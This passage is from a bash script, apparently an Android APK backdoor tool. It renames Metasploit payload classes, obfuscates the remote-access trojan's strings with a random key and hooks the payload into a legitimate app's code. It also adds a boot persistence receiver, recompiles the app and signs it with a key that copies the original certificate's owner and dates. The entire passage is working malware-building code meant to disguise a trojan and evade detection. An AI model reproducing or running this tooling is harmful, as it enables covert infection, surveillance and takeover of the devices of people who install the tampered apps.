"s/MainService/$new_ms_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 464 | rc=$? 465 | fi 466 | if [ $rc == 0 ]; then 467 | sed -i "s/Payload/$new_payload_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 468 | rc=$? 469 | fi 470 | if [ $rc == 0 ]; then 471 | sed -i "s/StringObfuscator/$new_so_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 472 | rc=$? 473 | fi 474 | if [ $rc == 0 ]; then 475 | sed -i 's|com\([./]\)metasploit\([./]\)stage|'"$INJECT_PACKAGE"'|g' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 476 | rc=$? 477 | fi 478 | if [ $rc == 0 ]; then 479 | sed -i 's|net\([./]\)dirtybox\([./]\)util\([./]\)obfuscation|'"$INJECT_PACKAGE"'|g' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 480 | rc=$? 481 | fi 482 | if [ $rc == 0 ]; then 483 | #.method public static obfuscate(Ljava/lang/String;)Ljava/lang/String; 484 | #.method public static unobfuscate(Ljava/lang/String;)Ljava/lang/String; 485 | sed -i 's:method public static obfuscate:method public static '"$new_so_obfuscate_method_name"':g' $MY_PATH/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1 486 | rc=$? 487 | if [ $rc == 0 ]; then 488 | sed -i 's:method public static unobfuscate:method public static '"$new_so_unobfuscate_method_name"':g' $MY_PATH/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1 489 | rc=$? 490 | fi 491 | fi 492 | echo "done." 493 | if [ $rc != 0 ]; then 494 | echo "[!] Failed to fix RAT smali files" 495 | cleanup 496 | exit $rc 497 | fi 498 | 499 | # TODO: Refactor and improve error handling and logging 500 | echo -n "[*] Obfuscating const-string values in RAT smali files..." 501 | cat >$MY_PATH/obfuscate.method <###METHOD###(Ljava/lang/String;)Ljava/lang/String; 505 | 506 | move-result-object ###REG### 507 | EOL 508 | stringobfuscator_class=$INJECT_PACKAGE/$new_so_name 509 | echo "StringObfuscator class: $stringobfuscator_class" >>$LOG_FILE 2>&1 510 | so_class_suffix="$new_so_name.smali" 511 | echo "StringObfuscator class suffix: $so_class_suffix" >>$LOG_FILE 2>&1 512 | so_default_key="7IPR19mk6hmUY+hdYUaCIw==" 513 | so_key=$so_default_key 514 | which openssl >>$LOG_FILE 2>&1 515 | rc=$? 516 | if [ $rc == 0 ]; then 517 | so_key="$(openssl rand -base64 16)" 518 | rc=$? 519 | fi 520 | if [ $rc == 0 ]; then 521 | file="$MY_PATH/original/smali/$stringobfuscator_class.smali" 522 | sed -i 's%'"$so_default_key"'%'"$so_key"'%' $file >>$LOG_FILE 2>&1 523 | rc=$? 524 | if [ $rc == 0 ]; then 525 | echo "Injected new key into StringObufscator class" >>$LOG_FILE 2>&1 526 | else 527 | echo "Failed to inject new key into StringObfuscator class, using default key" >>$LOG_FILE 2>&1 528 | so_key=$so_default_key 529 | fi 530 | else 531 | echo "Failed to generate a new StringObfuscator key, using default key" >>$LOG_FILE 2>&1 532 | so_key=$so_default_key 533 | fi 534 | echo "StringObfuscator key: $so_key" >>$LOG_FILE 2>&1 535 | sed -i 's/[[:space:]]*"$/"/g' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 536 | rc=$? 537 | if [ $rc == 0 ]; then 538 | grep "const-string" -n --exclude="$so_class_suffix" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali |while read -r line; do 539 | gen_placeholder 540 | placeholder=$FUNC_RESULT 541 | echo "Placeholder: $placeholder" >>$LOG_FILE 2>&1 542 | filewithlinenum=`echo $line |awk -F ": " '{ print $1 }'` 543 | echo "File with line num: $filewithlinenum" >>$LOG_FILE 2>&1 544 | file=`echo $filewithlinenum |awk -F ":" '{ print $1 }'` 545 | echo "File: $file" >>$LOG_FILE 2>&1 546 | linenum=`echo $filewithlinenum |awk -F ":" '{ print $2 }'` 547 | echo "Line num: $linenum" >>$LOG_FILE 2>&1 548 | target=`echo $line |awk -F ", " '{ print $2 }'` 549 | echo "Target: $target" >>$LOG_FILE 2>&1 550 | tmp=`echo $line |awk -F ": " '{ print $2 }'` 551 | reg=`echo $tmp |awk '{ print $2 }' |sed 's/,//'` 552 | echo "Reg: $reg" >>$LOG_FILE 2>&1 553 | stripped_target=`sed -e 's/^"//' -e 's/"$//' <<<"$target"` 554 | echo "Stripped target: $stripped_target" >>$LOG_FILE 2>&1 555 | replacement=`$ASO e "$stripped_target" k "$so_key"` 556 | rc=$? 557 | if [ $rc != 0 ]; then 558 | echo "Failed to obfuscate target value" >>$LOG_FILE 2>&1 559 | touch $MY_PATH/obfuscate.error 560 | break 561 | fi 562 | echo "Replacement: $replacement" >>$LOG_FILE 2>&1 563 | echo "" >> $LOG_FILE 2>&1 564 | 565 | sed -i -e ''"$linenum"'d' $file >>$LOG_FILE 2>&1 566 | sed -i ''"$linenum"'i '"$placeholder"'' $file >>$LOG_FILE 2>&1 567 | 568 | cp -v $MY_PATH/obfuscate.method $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1 569 | 570 | echo "$placeholder" >> $TMP_DIR/placeholders.txt 571 | 572 | sed -i 's/###REG###/'"$reg"'/' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1 573 | rc=$? 574 | if [ $rc != 0 ]; then 575 | echo "Failed to inject register value" >>$LOG_FILE 2>&1 576 | touch $MY_PATH/obfuscate.error 577 | break 578 | fi 579 | sed -i 's|###VALUE###|'"$replacement"'|' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1 580 | rc=$? 581 | if [ $rc != 0 ]; then 582 | echo "Failed to inject replacement value" >>$LOG_FILE 2>&1 583 | touch $MY_PATH/obfuscate.error 584 | break 585 | fi 586 | done 587 | cd $TMP_DIR 588 | cat placeholders.txt |while read placeholder; do 589 | if [ -f $placeholder.stub ]; then 590 | sed -i -e '/'"$placeholder"'/r '"$placeholder"'.stub' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 591 | sed -i -e '/'"$placeholder"'/d' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1 592 | fi 593 | done 594 | cd $MY_PATH 595 | rm -v $TMP_DIR/*.stub >>$LOG_FILE 2>&1 596 | rm -v $TMP_DIR/placeholders.txt >>$LOG_FILE 2>&1 597 | if [ ! -f $MY_PATH/obfuscate.error ]; then 598 | class="$stringobfuscator_class" 599 | sed -i 's|###CLASS###|'"$class"'|' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali 600 | rc=$? 601 | if [ $rc == 0 ]; then 602 | method="$new_so_unobfuscate_method_name" 603 | sed -i 's|###METHOD###|'"$method"'|' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali 604 | rc=$? 605 | fi 606 | else 607 | rm -v $MY_PATH/obfuscate.error >>$LOG_FILE 2>&1 608 | rc=1 609 | fi 610 | fi 611 | echo "done." 612 | if [ $rc != 0 ]; then 613 | echo "[!] Failed to obfuscate const-string values in RAT smali files" 614 | cleanup 615 | exit $rc 616 | fi 617 | 618 | echo -n "[*] Adding hook in original smali file..." 619 | hook_smali_file $new_ms_name $smali_file_to_hook 620 | rc=$? 621 | echo "done." 622 | if [ $rc != 0 ]; then 623 | echo "[!] Failed to add hook" 624 | cleanup 625 | exit $rc 626 | fi 627 | 628 | dotted_inject_package=$(echo "$INJECT_PACKAGE" |sed -r 's:/:.:g') 629 | cat >$MY_PATH/persistence.hook < 631 | 632 | 633 | 634 | 635 | 636 | EOL 637 | grep "android.permission.RECEIVE_BOOT_COMPLETED" $original_manifest_file >>$LOG_FILE 2>&1 638 | rc=$? 639 | if [ $rc == 0 ]; then 640 | echo -n "[*] Adding persistence hook in original project..." 641 | sed -i '0,/<\/application>/s//'"$placeholder"'\n <\/application>/' $original_manifest_file >>$LOG_FILE 2>&1 642 | rc=$? 643 | if [ $rc == 0 ]; then 644 | sed -i '/'"$placeholder"'/r '"$MY_PATH"'/persistence.hook' $original_manifest_file >>$LOG_FILE 2>&1 645 | rc=$? 646 | if [ $rc == 0 ]; then 647 | sed -i '/'"$placeholder"'/d' $original_manifest_file >>$LOG_FILE 2>&1 648 | rc=$? 649 | fi 650 | fi 651 | echo "done." 652 | if [ $rc != 0 ]; then 653 | echo "[!] Failed to add persistence hook" 654 | cleanup 655 | exit $rc 656 | fi 657 | else 658 | echo "[+] Unable to add persistence hook due to missing permission" 659 | fi 660 | 661 | echo -n "[*] Recompiling original project with backdoor..." 662 | $APKTOOL b $MY_PATH/original >>$LOG_FILE 2>&1 663 | rc=$? 664 | echo "done." 665 | if [ $rc != 0 ]; then 666 | echo "[!] Failed to recompile original project with backdoor" 667 | cleanup 668 | exit $rc 669 | fi 670 | 671 | keystore=$MY_PATH/signing.keystore 672 | compiled_apk=$MY_PATH/original/dist/$ORIG_APK_FILE_NAME 673 | unaligned_apk=$MY_PATH/original/dist/unaligned.apk 674 | 675 | dname=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Owner:" |sed 's/^.*: //g'` 676 | echo "Original dname value: $dname" >>$LOG_FILE 2>&1 677 | 678 | valid_from_line=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Valid from:"` 679 | echo "Original valid from line: $valid_from_line" >>$LOG_FILE 2>&1 680 | from_date=$(sed 's/^Valid from://g' <<< $valid_from_line |sed 's/until:.\+$//g' |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g') 681 | echo "Original from date: $from_date" >>$LOG_FILE 2>&1 682 | from_date_tz=$(awk '{ print $5 }' <<< $from_date) 683 | from_date_norm=$(sed 's/[[:space:]]'"$from_date_tz"'//g' <<< $from_date) 684 | echo "Normalized from date: $from_date_norm" >>$LOG_FILE 2>&1 685 | to_date=$(sed 's/^Valid from:.\+until://g' <<< $valid_from_line |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g') 686 | echo "Original to date: $to_date" >>$LOG_FILE 2>&1 687 | to_date_tz=$(awk '{ print $5 }' <<< $to_date) 688 | to_date_norm=$(sed 's/[[:space:]]'"$to_date_tz"'//g' <<< $to_date) 689 | echo "Normalized to date: $to_date_norm" >>$LOG_FILE 2>&1 690 | from_date_str=`TZ=UTC date --date="$from_date_norm" +"%Y/%m/%d %T"` 691 | echo "Value of from_date_str: $from_date_str" >>$LOG_FILE 2>&1 692 | end_ts=$(TZ=UTC date -ud "$to_date_norm" +'%s') 693 | start_ts=$(TZ=UTC date -ud "$from_date_norm" +'%s') 694 | validity=$(( ( (${end_ts} - ${start_ts}) / (60*60*24) ) )) 695 | echo "Value of validity: $validity" >>$LOG_FILE 2>&1 696 | 697 | echo -n "[*] Generating RSA key for signing..." 698 | $KEYTOOL -genkey -noprompt -alias signing.key -startdate "$from_date_str" -validity $validity -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1 699 | rc=$? 700 | if [ $rc != 0 ]; then 701 | echo "Retrying RSA key generation without original APK cert from date and validity values" >>$LOG_FILE 2>&1 702 | $KEYTOOL -genkey -noprompt -alias signing.key -validity 10000 -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1 703 | rc=$? 704 | fi 705 | echo "done." 706 | if [ $rc != 0 ]; then 707 | echo "[!] Failed to generate RSA key" 708 | cleanup 709 | exit $rc 710 | fi 711 | 712 | echo -n "[*] Signing recompiled APK..." 713 | $JARSIGNER -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1 714 | rc=$? 715 | echo "done." 716 | if [ $rc != 0 ]; then 717 | echo "[!] Failed to sign recompiled APK" 718 | cleanup 719 | exit $rc 720 | fi 721 | 722 | echo -n "[*] Verifying signed artifacts..." 723 | $JARSIGNER -verify -certs $compiled_apk >>$LOG_FILE 2>&1 724 | rc=$? 725 | echo "done." 726 | if [ $rc != 0 ]; then 727 | echo "[!] Failed to verify signed artifacts" 728 | cleanup 729 | exit $rc 730 | fi 731 | 732 | mv $compiled_apk $unaligned_apk 733 | 734 | echo -n "[*] Aligning recompiled APK..." 735 | $ZIPALIGN 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1 736 | rc=$? 737 | echo "done." 738 | if [ $rc != 0 ]; then 739 | echo "[!] Failed to align recompiled APK" 740 | cleanup 741 | exit $rc 742 | fi 743 | 744 | rm $unaligned_apk 745 | 746 | exit 0 747 | --------------------------------------------------------------------------------